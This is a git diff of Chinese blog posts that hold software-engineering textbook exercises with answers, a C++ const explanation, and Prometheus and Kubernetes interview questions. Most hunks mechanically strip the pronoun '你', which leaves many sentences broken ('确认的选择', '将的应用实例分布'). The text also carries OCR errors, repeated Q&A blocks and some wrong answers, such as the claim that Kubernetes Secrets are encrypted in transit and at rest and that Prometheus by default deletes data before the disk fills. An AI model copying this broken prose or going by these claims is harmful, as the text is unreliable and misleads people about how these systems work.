于状态得到的测试用例相比较结果如何? +2.对 2 B w a t c h 的 用 例 (图 1 1 - 1 4 ) ， 根 据 S e t T i m e 状 态 图 导 出 等 效 J a v a 代 码 ， 根 据 产 生的代码使用等价测试 、边界测试和路径测试来产生测试用例。这些测试用例与基 于状态得到的测试用例相比较结果如何? 3.对图11-24 中的购买票用例PurchaseTicket，构建其状态图序列。使用基于状态测试 技术产生基 于状态图的测试用例。讨论测试用例的数量和比较同图 11- 25 测试用例 的差异。 @@ -1754,7 +1754,7 @@ layer3: Database NetWork Neural NetWork 测试过程需要投入人力、物力、时间等资源成本 测试结果可能存在误报或漏报的情况，需要人工审查和修复 -5.你负责一个网络加密传输系统的集成测试。这个系统包括 一个用于随机数的序列号产生器子系统。在集成测试期间，你使用关键产生桩程序产生一个可预知的结果， 然而，对于己经发布的系统版本，你用桩程序执行代替随机产生，以便序列号不可以被外人预见。使用一种设计模式使得这两个序列号生成器实现在运行时能够交换执行。确认你的选择。 +5.负责一个网络加密传输系统的集成测试。这个系统包括 一个用于随机数的序列号产生器子系统。在集成测试期间，使用关键产生桩程序产生一个可预知的结果， 然而，对于己经发布的系统版本，用桩程序执行代替随机产生，以便序列号不可以被外人预见。使用一种设计模式使得这两个序列号生成器实现在运行时能够交换执行。确认的选择。 随机数的序列号产生器子系统是一个算法或行为，在集成测试期间需要使用关键产生桩程序产生可预知的结果，而在已发布的系统版本中则需要用桩程序执行代替随机产生以保证安全性。因此，我们可以把随机数的序列号产生器子系统看做一个策略族，在不同的环境下选择不同的实现。 @@ -1845,7 +1845,7 @@ layer3: Database NetWork Neural NetWork 日志分析：定期分析主服务器的系统日志和应用程序日志，以识别可能导致服务器故障的原因。例如，可以检查磁盘空间、CPU 利用率、内存占用率等指标，以便快速发现潜在问题并进行修复。 -2.你正在开发一个UML 建模工具。你考虑将基本原理集成进到工具中。描述开发者怎样能够将问题附加到不同的模型元素中 去。画一 个问题模型的类图和与它 关联的模 型元素。 +2.正在开发一个UML 建模工具。考虑将基本原理集成进到工具中。描述开发者怎样能够将问题附加到不同的模型元素中 去。画一 个问题模型的类图和与它 关联的模 型元素。 创建问题（Issue）类：该类应包含问题标题、描述、状态等属性。问题状态可以设为“已解决”、“待解决”等。此外，可以根据需求添加其他属性。 @@ -1891,7 +1891,7 @@ UseCaseDiagram --> "*" Issue 4.考虑在12.3. 7 节中描述的NFR框架。画一个等价于在图12- 12中描述的目标图的QOC 模型。讨论在需求过程中用QOC和NFR 框架表示基本原理时，各自的优缺点。 -5.你正将 一个错误报告系统和 一个配置管理工具集成起来，以追踪错误报告、错误修 复、特性要求和升级。你正考虑 一个问题模型来集成这些 工具。画一个问题模型的 类图、相应的讨论、配置管理和错误报告元素。 +5.正将 一个错误报告系统和 一个配置管理工具集成起来，以追踪错误报告、错误修 复、特性要求和升级。正考虑 一个问题模型来集成这些 工具。画一个问题模型的 类图、相应的讨论、配置管理和错误报告元素。 ``` @startuml class Report { @@ -1972,7 +1972,7 @@ Configuration -- FeatureRequest RCS采用反向delta方法存储文件的多个版本，而不是简单地存储初始版本和每个连续版本之间的差异，是因为这种方法可以节省存储空间并提高处理效率。当一个文件被修改时，只需要存储与前一版本不同的部分，而不是整个文件以及与之前每个版本不同的所有部分。这意味着随着版本数量的增加，需要存储和处理的数据量更小，因此操作速度更快，同时还减少了存储成本。另外，如果对于某个版本可能有多个修改，那么这些修改也可以通过计算差异来合并到一个新版本中，从而进一步减少存储空间。因此，反向delta方法是RCS能够有效管理大量版本并保持数据一致性的关键。 2.CVS 使用简单的基于文本的规则去标识合并之问的重叠:如果在要合并的两个版本 中，变化同样的行，就有重登存在。如果没有这样的行存在，那么CVS 确定没有冲 突且版本自动地合并。例如，假定一个文件包含有 三个方法的类- -0 、60和c0。 两 个 开 发 者 独 立 地 在 文 件 上 工 作 。 如 果 它 们 都 改 变 了 代 码 的 同 一 行 ， 比 如 方 法 日0 的 第 一行 ， 那 么 C V S 就 确 定 这 里 有 一个 冲 突 。 试 解 释 为 什 么 这 种 方 法 不 能 检 测 某 类 冲 突。提供你答案的 一个实例。 +0 、60和c0。 两 个 开 发 者 独 立 地 在 文 件 上 工 作 。 如 果 它 们 都 改 变 了 代 码 的 同 一 行 ， 比 如 方 法 日0 的 第 一行 ， 那 么 C V S 就 确 定 这 里 有 一个 冲 突 。 试 解 释 为 什 么 这 种 方 法 不 能 检 测 某 类 冲 突。提供答案的 一个实例。 CVS使用基于文本的规则标识合并冲突，但是这种方法不能检测出所有类型的冲突。例如，在一个类中添加一个新方法和修改另一个方法的同一行不会被视为冲突，因为它们是不同的更改。然而，当尝试将两个版本合并时，新方法和已修改方法的更改可能会相互冲突，导致代码无法编译或产生错误结果。 因此，即使在没有重叠变化的情况下，也可能存在潜在的逻辑冲突。例如，假设一个开发人员添加了一个新方法，该方法与另一个开发人员在相同文件中修改的另一个方法产生了冲突，因为两个方法都需要访问相同的全局变量。 由于这种方法不能检测到所有类型的冲突，因此最好仔细审查代码，并确保在合并之前进行适当的测试来减少任何潜在的问题。 @@ -1984,7 +1984,7 @@ CVS使用基于文本的规则标识合并冲突，但是这种方法不能检 由此可见，虽然使用标签可以减轻一些聚集性配置管理方面的问题，但它不能完全解决这个问题。为防止此类问题, 配置管理系统需要确保能够跟踪文件的历史记录、版本信息和更改，而不只是基于文件名和路径。 -4.试解释配置管理如何对开发者有好处，即使没有变化控制或审计过程。列出两个场 景说明你的解释。 +4.试解释配置管理如何对开发者有好处，即使没有变化控制或审计过程。列出两个场 景说明的解释。 项目合作 - 如果有多个开发人员共同参与一个项目，每个人都需要访问相同的代码库并能够快速找到他们所需的文件或模块。配置管理系统可以提供这种访问，并确保所有开发人员使用相同的版本控制规则和目录结构。这样的话，开发人员可以更加高效地协作开发，并减少与代码管理相关的错误和混乱。 @@ -2141,7 +2141,7 @@ QualityControlSystem -> Developer : Send package for fixing issues 在 另 一 个 任 务 启 动 时 完 成 。 在 软 件 生 命 周 期 中 ， 两 个 活 动 之 间 的 关 系是 有 依 赖 关 系 的:即一个活动使用另一个活动产生的工作产品作为输入。讨论这之间的不同。在 V - 模 型 的 情 况 下 举 一个 例 子 。 -7.假设你是IEEE委员会的委员，要修订IEEE1074标准。你被分到的任务是将沟通建 模成一个明确的整体过程。试制作一个属于这个过程的活动例子。 +7.假设是IEEE委员会的委员，要修订IEEE1074标准。被分到的任务是将沟通建 模成一个明确的整体过程。试制作一个属于这个过程的活动例子。 ## Part-16 @@ -2151,15 +2151,15 @@ QualityControlSystem -> Developer : Send package for fixing issues 2.改进一个遗留系统，需要为项目定义软件生命周期，需要做哪些活动，按照什么顺序来做？ -3.Ro yce 使用一种管理标准来计算离开项目或加入项目参与者的数目。如果你正在管 理一个包含多个 工作团队的项目，并且你注意到组内人员交流 十分频繁。试想哪些 原因可以导致这种状况，并对每种原因给出解决方案。 +3.Ro yce 使用一种管理标准来计算离开项目或加入项目参与者的数目。如果正在管 理一个包含多个 工作团队的项目，并且注意到组内人员交流 十分频繁。试想哪些 原因可以导致这种状况，并对每种原因给出解决方案。 4.在 16. 5. 4 中描述的启发式方法指出，在分布式组织中对模型的需要更高。 开源项目 是一种高分布式项目，它遵循基于实体的生命周期，并且通常没有需求或系统设计 文档。请举例说明在这种情况下，如何使建模知识明确化，并在参与者之间传递 -5.在 为 某 一 具 体 项 目 修 改 一 个 过 程 时 (第 1 6 . 4 . 1 节 )， R o y c e 的 方 法 论 考 惠 六 个 项 目 因 素 (规模、风险承担者的凝聚力、过程的灵活性、过程的成熟度、体系结构风险和 领域经验)。利用这些因素来描述那些类型的项目能够把叉P 作为合适的方法学来使 用 。并证明你对 每种因素的选择的正确性 。 +5.在 为 某 一 具 体 项 目 修 改 一 个 过 程 时 (第 1 6 . 4 . 1 节 )， R o y c e 的 方 法 论 考 惠 六 个 项 目 因 素 (规模、风险承担者的凝聚力、过程的灵活性、过程的成熟度、体系结构风险和 领域经验)。利用这些因素来描述那些类型的项目能够把叉P 作为合适的方法学来使 用 。并证明对 每种因素的选择的正确性 。 6.1928 年，在Alexander Fleming 先生致力于葡萄状球菌的研究时，不小心将一些面包 屑掉到了其中一 个盘子中。一 个多星期后，发现那个有面包屑的盘子中的细菌并没 有按照预期的速度增长。Fleming注意到了在霉的周围有 一个无菌环，它正是污染葡 萄 状 球 菌 的 培 养 物 。 于 是 他 放 弃 了 计 划 中 的 实 验 ， 开 始 了一 个 新 的 实 验 ， 他 把 霉 隔 离了出来， 让它在一种液体媒介中生长，从而发现了一种特殊物质，即使这种物质 被稀释800 倍，它也能阻止细菌的生长。这就是青霉素。利用本章中介绍的术语和 问题，讨论青壽素的发现。 7.基于地球是圆形的假设，Columbus 的目标是通过从西出发，而不是从东出发，找到 一条去印度的更短的路。而他最后遇到是美国而不是印度。 利用本章中介绍的术语 和问题， 讨论这个问题。 -8.选择一个你曾参加的项目。按照本章定义的方法学问题进行归类，并说明项目中出 现的方法学的折中问题。 +8.选择一个曾参加的项目。按照本章定义的方法学问题进行归类，并说明项目中出 现的方法学的折中问题。 diff --git a/_posts/2023-7-20-test-markdown.md b/_posts/2023-7-20-test-markdown.md index 907f00463a55..23024459b9fd 100644 --- a/_posts/2023-7-20-test-markdown.md +++ b/_posts/2023-7-20-test-markdown.md @@ -88,10 +88,10 @@ int main(void) ``` -代码试图改变一个被 `const` 修饰的变量的值，这在C++中是不被允许的。尽管使用了指针和强制类型转换尝试绕过编译器的类型检查，但是当你试图修改 `a` 的值时，行为是未定义的，因为 `a` 是常量。 +代码试图改变一个被 `const` 修饰的变量的值，这在C++中是不被允许的。尽管使用了指针和强制类型转换尝试绕过编译器的类型检查，但是当试图修改 `a` 的值时，行为是未定义的，因为 `a` 是常量。 -在很多现代的编译器环境下，这段代码可能会使得 `a` 的值在程序中看起来没有被修改，同时 `*p` 的值看起来是被修改了。因为编译器可能会在编译时期就直接把 `a` 的值优化成常量，不会生成实际存储 `a` 值的内存位置，所以尽管你通过指针 `p` 修改了内存的值，但是在用 `a` 的时候编译器仍然直接使用了 `10` 这个常量。 -在这种情况下，你的代码可能会输出： +在很多现代的编译器环境下，这段代码可能会使得 `a` 的值在程序中看起来没有被修改，同时 `*p` 的值看起来是被修改了。因为编译器可能会在编译时期就直接把 `a` 的值优化成常量，不会生成实际存储 `a` 值的内存位置，所以尽管通过指针 `p` 修改了内存的值，但是在用 `a` 的时候编译器仍然直接使用了 `10` 这个常量。 +在这种情况下，的代码可能会输出： ```c a = 10, *p = 20 diff --git a/_posts/2023-8-30-test-markdown.md b/_posts/2023-8-30-test-markdown.md index 0cc53a6ca2f1..e17feb358eaf 100644 --- a/_posts/2023-8-30-test-markdown.md +++ b/_posts/2023-8-30-test-markdown.md @@ -238,7 +238,7 @@ p[1] = 'Y'; // 修改第二个字符为'Y' p = "1234"; // 错误!不能修改const指针本身 ``` -> 简言之，可以修改现在有两个内存块A B ，p指向A，如果是 char * const p ，那么意味你可以把A内存块的内容改为C，但是不能让p指向新的内存块B +> 简言之，可以修改现在有两个内存块A B ，p指向A，如果是 char * const p ，那么意味可以把A内存块的内容改为C，但是不能让p指向新的内存块B > 相反的const int* p 可以让p指向新的内存块B，但是不能更改p指向的内存块的内容。 diff --git a/_posts/2023-9-1-test-markdown.md b/_posts/2023-9-1-test-markdown.md index adeb313340f5..091e5288c255 100644 --- a/_posts/2023-9-1-test-markdown.md +++ b/_posts/2023-9-1-test-markdown.md @@ -46,7 +46,7 @@ comments: true 9-描述一下什么是云原生DevOps，并解释它与传统DevOps的区别？ - 答案：云原生DevOps指的是在云环境中实践DevOps的方法，它采用了如容器化、微服务、持续集成和持续部署等云原生技术。相较于传统的DevOps，云原生DevOps更加注重自动化、弹性和可观察性，能够更好地支持大规模、复杂的现代应用。 -10-请解释一下你对Istio服务网格中的Envoy代理的理解，并描述一下它的作用？ +10-请解释一下对Istio服务网格中的Envoy代理的理解，并描述一下它的作用？ - 答案：Envoy是一个开源的边缘和服务代理，为服务网格提供了关键功能。在Istio中，每个服务实例前面都有一个Envoy代理，在服务实例之间进行通信时，所有的请求都会先经过Envoy代理。Envoy代理可以处理服务发现、负载均衡、故障恢复、度量和监控数据的收集，以及路由、认证、授权等功能。当然可以。 @@ -76,7 +76,7 @@ comments: true **副本集**：副本集确保在任何时候都有指定数量的Pod副本在运行。它可以自动创建新的Pod来替换失败或删除的Pod。 -**部署**：部署是副本集的上层概念，它提供了声明式的更新Pod和副本集的方法。例如，当你更新应用程序的版本时，部署会创建新的副本集并逐步将流量转移到新的Pod，同时缩小旧副本集的规模。 +**部署**：部署是副本集的上层概念，它提供了声明式的更新Pod和副本集的方法。例如，当更新应用程序的版本时，部署会创建新的副本集并逐步将流量转移到新的Pod，同时缩小旧副本集的规模。 **服务**：服务是Kubernetes的抽象方式，用于将逻辑定义为一组运行相同任务的Pod，并通过网络调用它们。服务可以以轮询的方式将网络请求分发到Pod集合，为Pod提供了可发现性和基于负载的网络路由。 @@ -201,16 +201,16 @@ Alertmanager：Alertmanager 是用于处理 Alerts 的组件，它可以从 Prom **答案**：Prometheus通过Alertmanager组件来处理告警。用户可以在Prometheus中定义告警规则，一旦满足这些规则，Prometheus就会将警报发送到Alertmanager。Alertmanager则负责对这些警报进行去重、分组，并将警报路由到正确的接收器，如电子邮件、PagerDuty等。 -19-**问题**：你能描述一下Prometheus和OpenTelemetry之间的关系吗？ +19-**问题**：能描述一下Prometheus和OpenTelemetry之间的关系吗？ **答案**：OpenTelemetry是一个开源项目，目标是为观察性提供一组统一的、高效的、自动化的API和工具。它提供了追踪、度量和日志数据的标准定义，以及将数据发送到任何后端的工具。Prometheus可以作为OpenTelemetry的后端之一，收集和处理由OpenTelemetry生成的指标数据。 20-**问题**：如果我有一个服务，我希望让Prometheus来监控它，我应该怎么做？ -**答案**：首先，你需要在服务中暴露一个/metrics HTTP端点，然后在此端点上提供Prometheus可以理解的度量数据。你可以使用Prometheus提供的客户端库来帮助生成这些度量数据。然后，你需要在Prometheus的配置文件中添加这个服务作为一个新的抓取目标。一旦配置文件更新，Prometheus就会开始定期从新服务的/metrics端点拉取数据。 +**答案**：首先，需要在服务中暴露一个/metrics HTTP端点，然后在此端点上提供Prometheus可以理解的度量数据。可以使用Prometheus提供的客户端库来帮助生成这些度量数据。然后，需要在Prometheus的配置文件中添加这个服务作为一个新的抓取目标。一旦配置文件更新，Prometheus就会开始定期从新服务的/metrics端点拉取数据。 21-**问题**：Prometheus如何处理高可用性（High Availability）？ -**答案**：为了提供高可用性，你可以运行多个相同实例。 +**答案**：为了提供高可用性，可以运行多个相同实例。 22-**问题**：什么是Prometheus的导出器（exporter）？举一个例子。 @@ -221,19 +221,19 @@ Alertmanager：Alertmanager 是用于处理 Alerts 的组件，它可以从 Prom **答案**：Prometheus支持多种服务发现机制，例如静态配置、DNS、Consul等。在Kubernetes环境中，Prometheus可以自动发现服务，无需用户手动配置，Prometheus将会周期性地拉取Kubernetes API获取服务列表，然后自动更新抓取目标。 -24-**问题**：你如何配置Prometheus以在一个应用的多个实例之间分发负载？ +24-**问题**：如何配置Prometheus以在一个应用的多个实例之间分发负载？ -**答案**：Prometheus的一个实例可以配置多个抓取目标。这样，Prometheus实例会轮流从每个目标抓取指标。你也可以运行多个Prometheus实例，并将你的应用实例分布到不同的Prometheus实例中，从而分发负载。 +**答案**：Prometheus的一个实例可以配置多个抓取目标。这样，Prometheus实例会轮流从每个目标抓取指标。也可以运行多个Prometheus实例，并将的应用实例分布到不同的Prometheus实例中，从而分发负载。 -25-**问题**：你如何在Prometheus中设置告警？ +25-**问题**：如何在Prometheus中设置告警？ **答案**：在Prometheus中设置告警需要在Prometheus的配置文件中定义告警规则。告警规则是基于PromQL表达式的，当这个表达式的结果超过了定义的阈值，Prometheus就会发送警报到Alertmanager。 -26-**问题**：在一个高流量的生产环境中，你会如何优化Prometheus的性能？ +26-**问题**：在一个高流量的生产环境中，会如何优化Prometheus的性能？ **答案**：对于高流量的生产环境，可以考虑以下优化措施：a) 根据需要调整抓取间隔，避免过度负载；b) 使用更强大的硬件（CPU、内存和存储）；c) 使用高性能的存储系统，如SSD，以提高存储的写入和查询性能；d) 对于大规模的监控目标，可以使用分片，将目标分配给多个Prometheus实例；e) 对于长期存储和全局视图，可以使用Thanos或Cortex等解决方案。 -27-**问题**：如果你需要监控多个不同的集群，你会怎么设计监控系统？ +27-**问题**：如果需要监控多个不同的集群，会怎么设计监控系统？ **答案**：对于多集群监控，可以为每个集群部署一个Prometheus实例，用于监控该集群内的服务。 @@ -298,17 +298,17 @@ sum(rate(http_requests_total{job="myapp", status="200"}[5m])) by (instance) **答案**：Prometheus通过Alertmanager组件来处理告警。用户可以在Prometheus中定义告警规则，一旦满足这些规则，Prometheus就会将警报发送到Alertmanager。Alertmanager则负责对这些警报进行去重、分组，并将警报路由到正确的接收器，如电子邮件、PagerDuty等。 -41-**问题**：你能描述一下Prometheus和OpenTelemetry之间的关系吗？ +41-**问题**：能描述一下Prometheus和OpenTelemetry之间的关系吗？ **答案**：OpenTelemetry是一个开源项目，目标是为观察性提供一组统一的、高效的、自动化的API和工具。它提供了追踪、度量和日志数据的标准定义，以及将数据发送到任何后端的工具。Prometheus可以作为OpenTelemetry的后端之一，收集和处理由OpenTelemetry生成的指标数据。 42-**问题**：如果我有一个服务，我希望让Prometheus来监控它，我应该怎么做？ -**答案**：首先，你需要在服务中暴露一个/metrics HTTP端点，然后在此端点上提供Prometheus可以理解的度量数据。你可以使用Prometheus提供的客户端库来帮助生成这些度量数据。然后，你需要在Prometheus的配置文件中添加这个服务作为一个新的抓取目标。一旦配置文件更新，Prometheus就会开始定期从新服务的/metrics端点拉取数据。 +**答案**：首先，需要在服务中暴露一个/metrics HTTP端点，然后在此端点上提供Prometheus可以理解的度量数据。可以使用Prometheus提供的客户端库来帮助生成这些度量数据。然后，需要在Prometheus的配置文件中添加这个服务作为一个新的抓取目标。一旦配置文件更新，Prometheus就会开始定期从新服务的/metrics端点拉取数据。 43- **问题**：Prometheus如何处理高可用性（High Availability）？ -**答案**：为了提供高可用性，你可以运行多个相同配置的Prometheus服务器。这些Prometheus实例会独立地抓取相同的目标。这意味着，如果其中一个实例宕机，其他实例还可以继续提供监控数据。然而，这并不提供完整的HA解决方案，因为这些实例并不共享数据。完整的HA解决方案通常需要配合其他存储后端，如Thanos或Cortex。 +**答案**：为了提供高可用性，可以运行多个相同配置的Prometheus服务器。这些Prometheus实例会独立地抓取相同的目标。这意味着，如果其中一个实例宕机，其他实例还可以继续提供监控数据。然而，这并不提供完整的HA解决方案，因为这些实例并不共享数据。完整的HA解决方案通常需要配合其他存储后端，如Thanos或Cortex。 44- **问题**：什么是Prometheus的导出器（exporter）？举一个例子。 @@ -319,49 +319,49 @@ sum(rate(http_requests_total{job="myapp", status="200"}[5m])) by (instance) **答案**：Prometheus支持多种服务发现机制，例如静态配置、DNS、Consul等。在Kubernetes环境中，Prometheus可以自动发现服务，无需用户手动配置，Prometheus将会周期性地拉取Kubernetes API获取服务列表，然后自动更新抓取目标。 -46-**问题**：你如何配置Prometheus以在一个应用的多个实例之间分发负载？ +46-**问题**：如何配置Prometheus以在一个应用的多个实例之间分发负载？ -**答案**：Prometheus的一个实例可以配置多个抓取目标。这样，Prometheus实例会轮流从每个目标抓取指标。你也可以运行多个Prometheus实例，并将你的应用实例分布到不同的Prometheus实例中，从而分发负载。 +**答案**：Prometheus的一个实例可以配置多个抓取目标。这样，Prometheus实例会轮流从每个目标抓取指标。也可以运行多个Prometheus实例，并将的应用实例分布到不同的Prometheus实例中，从而分发负载。 -47- **问题**：你如何在Prometheus中设置告警？ +47- **问题**：如何在Prometheus中设置告警？ **答案**：在Prometheus中设置告警需要在Prometheus的配置文件中定义告警规则。告警规则是基于PromQL表达式的，当这个表达式的结果超过了定义的阈值，Prometheus就会发送警报到Alertmanager。 -48-**问题**：你如何理解Prometheus的抓取间隔和超时时间的配置？ +48-**问题**：如何理解Prometheus的抓取间隔和超时时间的配置？ -**答案**：Prometheus的抓取间隔决定了Prometheus从抓取目标收集数据的频率，而超时时间则决定了Prometheus在放弃抓取请求之前等待多久。抓取间隔和超时时间的配置取决于具体的监控需求和目标系统的性能。一般情况下，你应该确保超时时间小于抓取间隔。 +**答案**：Prometheus的抓取间隔决定了Prometheus从抓取目标收集数据的频率，而超时时间则决定了Prometheus在放弃抓取请求之前等待多久。抓取间隔和超时时间的配置取决于具体的监控需求和目标系统的性能。一般情况下，应该确保超时时间小于抓取间隔。 -49- **问题**：在一个高流量的生产环境中，你会如何优化Prometheus的性能？ +49- **问题**：在一个高流量的生产环境中，会如何优化Prometheus的性能？ **答案**：对于高流量的生产环境，可以考虑以下优化措施：a) 根据需要调整抓取间隔，避免过度负载；b) 使用更强大的硬件（CPU、内存和存储）；c) 使用高性能的存储系统，如SSD，以提高存储的写入和查询性能；d) 对于大规模的监控目标，可以使用分片，将目标分配给多个Prometheus实例；e) 对于长期存储和全局视图，可以使用Thanos或Cortex等解决方案。 -50- **问题**：如果你需要监控多个不同的集群，你会怎么设计监控系统？ +50- **问题**：如果需要监控多个不同的集群，会怎么设计监控系统？ **答案**：对于多集群监控，可以为每个集群部署一个Prometheus实例，用于监控该集群内的服务。然后，使用Thanos或Cortex等工具来提供全局视图和长期存储。这样可以减少网络延迟，增加数据的局部性，并且在单个集群出现问题时，不会影响到其他集群的监控。 -51-**问题**：当Prometheus的磁盘空间即将满时，你会如何处理？ +51-**问题**：当Prometheus的磁盘空间即将满时，会如何处理？ -**答案**：Prometheus默认会在磁盘空间用尽之前删除旧的数据。你可以配置数据保留策略，例如保留的数据量或者保留的时间长度。如果需要保留更多数据，你可能需要扩展磁盘空间，或者使用像Thanos或Cortex这样的远程存储解决方案。 +**答案**：Prometheus默认会在磁盘空间用尽之前删除旧的数据。可以配置数据保留策略，例如保留的数据量或者保留的时间长度。如果需要保留更多数据，可能需要扩展磁盘空间，或者使用像Thanos或Cortex这样的远程存储解决方案。 -52-**问题**：你怎么理解Prometheus的label？ +52-**问题**：怎么理解Prometheus的label？ -**答案**：在Prometheus中，标签（label）是用来标识时间序列的键值对。标签使Prometheus的数据模型非常强大和灵活，因为它们可以用来过滤和聚合数据。例如，你可以使用标签来表示一个服务的名称，一个实例的ID，或者一个地理位置等。 +**答案**：在Prometheus中，标签（label）是用来标识时间序列的键值对。标签使Prometheus的数据模型非常强大和灵活，因为它们可以用来过滤和聚合数据。例如，可以使用标签来表示一个服务的名称，一个实例的ID，或者一个地理位置等。 -53-**问题**：在一个高流量的生产环境中，你会如何优化Prometheus的性能？ +53-**问题**：在一个高流量的生产环境中，会如何优化Prometheus的性能？ **答案**：对于高流量的生产环境，可以考虑以下优化措施：a) 根据需要调整抓取间隔，避免过度负载；b) 使用更强大的硬件（CPU、内存和存储）；c) 使用高性能的存储系统，如SSD，以提高存储的写入和查询性能；d) 对于大规模的监控目标，可以使用分片，将目标分配给多个Prometheus实例；e) 对于长期存储和全局视图，可以使用Thanos或Cortex等解决方案。 -54-**问题**：如果你需要监控多个不同的集群，你会怎么设计监控系统？ +54-**问题**：如果需要监控多个不同的集群，会怎么设计监控系统？ **答案**：对于多集群监控，可以为每个集群部署一个Prometheus实例，用于监控该集群内的服务。然后，使用Thanos或Cortex等工具来提供全局视图和长期存储。这样可以减少网络延迟，增加数据的局部性，并且在单个集群出现问题时，不会影响到其他集群的监控。 -55-**问题**：当Prometheus的磁盘空间即将满时，你会如何处理？ +55-**问题**：当Prometheus的磁盘空间即将满时，会如何处理？ -**答案**：Prometheus默认会在磁盘空间用尽之前删除旧的数据。你可以配置数据保留策略，例如保留的数据量或者保留的时间长度。如果需要保留更多数据，你可能需要扩展磁盘空间，或者使用像Thanos或Cortex这样的远程存储解决方案。 +**答案**：Prometheus默认会在磁盘空间用尽之前删除旧的数据。可以配置数据保留策略，例如保留的数据量或者保留的时间长度。如果需要保留更多数据，可能需要扩展磁盘空间，或者使用像Thanos或Cortex这样的远程存储解决方案。 -56-**问题**：你怎么理解Prometheus的label？ +56-**问题**：怎么理解Prometheus的label？ -**答案**：在Prometheus中，标签（label）是用来标识时间序列的键值对。标签使Prometheus的数据模型非常强大和灵活，因为它们可以用来过滤和聚合数据。例如，你可以使用标签来表示一个服务的名称，一个实例的ID，或者一个地理位置等。 +**答案**：在Prometheus中，标签（label）是用来标识时间序列的键值对。标签使Prometheus的数据模型非常强大和灵活，因为它们可以用来过滤和聚合数据。例如，可以使用标签来表示一个服务的名称，一个实例的ID，或者一个地理位置等。 57- **问题**：Prometheus是如何存储数据的？ @@ -378,9 +378,9 @@ sum(rate(http_requests_total{job="myapp", status="200"}[5m])) by (instance) 60-**问题**：在一个分布式环境中，Prometheus如何保证数据的一致性？ -**答案**：Prometheus本身并不直接支持分布式一致性。每个Prometheus服务器独立运行，独立抓取和存储数据。为了在分布式环境中提供一致的视图，你可以使用如Thanos或Cortex等工具，这些工具可以将来自多个Prometheus服务器的数据聚合起来，并提供一致的查询接口。 +**答案**：Prometheus本身并不直接支持分布式一致性。每个Prometheus服务器独立运行，独立抓取和存储数据。为了在分布式环境中提供一致的视图，可以使用如Thanos或Cortex等工具，这些工具可以将来自多个Prometheus服务器的数据聚合起来，并提供一致的查询接口。 -"github.com/prometheus/client_golang/prometheus" 是 Prometheus 客户端库的 Go 语言版本。这个库用于向 Prometheus 中导出应用程序的度量信息。使用这个库，你可以在你的 Go 程序中创建和管理度量，然后 Prometheus 服务可以抓取这些度量。 +"github.com/prometheus/client_golang/prometheus" 是 Prometheus 客户端库的 Go 语言版本。这个库用于向 Prometheus 中导出应用程序的度量信息。使用这个库，可以在的 Go 程序中创建和管理度量，然后 Prometheus 服务可以抓取这些度量。 这个库提供了多种类型的度量，例如： diff --git a/_posts/2023-9-10-test-markdown.md b/_posts/2023-9-10-test-markdown.md index ad62ed1e9a66..139d294a9a69 100644 --- a/_posts/2023-9-10-test-markdown.md +++ b/_posts/2023-9-10-test-markdown.md @@ -70,14 +70,14 @@ kubectl cluster-info 问题1：请解释Kubernetes中ConfigMaps和Secrets的主要区别。 -答案：ConfigMaps允许你将配置项分离出来，不与应用代码混在一起，而Secrets主要用于存储敏感信息，如密码、密钥等。二者最大的区别是，Secrets中的数据在传输和存储时都是加密的，而ConfigMaps则不是。 +答案：ConfigMaps允许将配置项分离出来，不与应用代码混在一起，而Secrets主要用于存储敏感信息，如密码、密钥等。二者最大的区别是，Secrets中的数据在传输和存储时都是加密的，而ConfigMaps则不是。 -问题2：你如何使用Helm在Kubernetes中管理复杂应用？ +问题2：如何使用Helm在Kubernetes中管理复杂应用？ 答案：Helm是Kubernetes的包管理器，类似于Linux的apt或yum。它可以让用户更加方便地部署和管理Kubernetes应用。Helm提供了一种称为Chart的打包格式，用户可以将一个复杂的应用，包括其所有的依赖服务、配置等，打包为一个Chart。然后用户可以一键部署这个Chart到任何Kubernetes集群。同时，Helm也提供了升级、回滚、版本管理等功能，使得管理Kubernetes应用更为方便。 -问题3：在Kubernetes中，你如何将敏感数据（例如密码、密钥）从应用代码中分离出来？ +问题3：在Kubernetes中，如何将敏感数据（例如密码、密钥）从应用代码中分离出来？ 答案：在Kubernetes中，我们通常使用Secrets来管理敏感数据。Secrets可以用来存储和管理敏感信息，如密码、OAuth 令牌、ssh key等。在Pod中，Secrets可以被以数据卷或者环境变量的形式使用. @@ -134,7 +134,7 @@ spec: matchLabels: role: frontend ``` -要使网络策略生效，你的 Kubernetes 集群必须运行支持网络策略的网络插件，如 Calico、Cilium、Weave 等。 +要使网络策略生效，的 Kubernetes 集群必须运行支持网络策略的网络插件，如 Calico、Cilium、Weave 等。 ## 5.存储 @@ -160,9 +160,9 @@ spec: > **kube-apiserver**：它是 Kubernetes 集群的前端，提供了 REST 接口，所有的管理操作和命令都是通过 kube-apiserver 来处理的。kube-apiserver 验证用户请求，处理这些请求，然后更新相应的对象状态或者返回查询结果。另外，它也负责在集群各个组件间进行数据协调和状态同步。 -> **kube-scheduler**：当你创建一个 Pod 时，kube-scheduler 负责决定这个 Pod 在哪个 Node 上运行。kube-scheduler 会基于集群的当前状态和 Pod 的需求，如资源请求、数据位置、工作负载、策略等因素，进行调度决策。 +> **kube-scheduler**：当创建一个 Pod 时，kube-scheduler 负责决定这个 Pod 在哪个 Node 上运行。kube-scheduler 会基于集群的当前状态和 Pod 的需求，如资源请求、数据位置、工作负载、策略等因素，进行调度决策。 -> **kube-controller-manager**：在 Kubernetes 中，Controller 是用来处理集群中的各种动态变化的。例如，如果你设置了某个 Deployment 的副本数为 3，那么 Replication Controller 会确保始终有 3 个 Pod 在运行。如果少于 3 个，Controller 会创建更多的 Pod，如果多于 3 个，它会删除多余的 Pod。kube-controller-manager 是这些 Controller 的主运行环境，它运行了包括 Replication Controller、Endpoint Controller、Namespace Controller 和 ServiceAccount Controller 等多个核心的 Controller。 +> **kube-controller-manager**：在 Kubernetes 中，Controller 是用来处理集群中的各种动态变化的。例如，如果设置了某个 Deployment 的副本数为 3，那么 Replication Controller 会确保始终有 3 个 Pod 在运行。如果少于 3 个，Controller 会创建更多的 Pod，如果多于 3 个，它会删除多余的 Pod。kube-controller-manager 是这些 Controller 的主运行环境，它运行了包括 Replication Controller、Endpoint Controller、Namespace Controller 和 ServiceAccount Controller 等多个核心的 Controller。 以上三个组件都是 Kubernetes 集群控制平面的重要组成部分，协同工作以保证集群的正常运行。 @@ -192,7 +192,7 @@ spec: **1.1.1 基本环境配置：** - 安装操作系统（Ubuntu, CentOS, RedHat等）并确保网络通畅。 - 确保所有机器的主机名、MAC 地址和 product_uuid 是唯一的。 -- 禁用 Swap：你可以通过 `sudo swapoff -a` 来临时禁用 swap。 +- 禁用 Swap：可以通过 `sudo swapoff -a` 来临时禁用 swap。 - 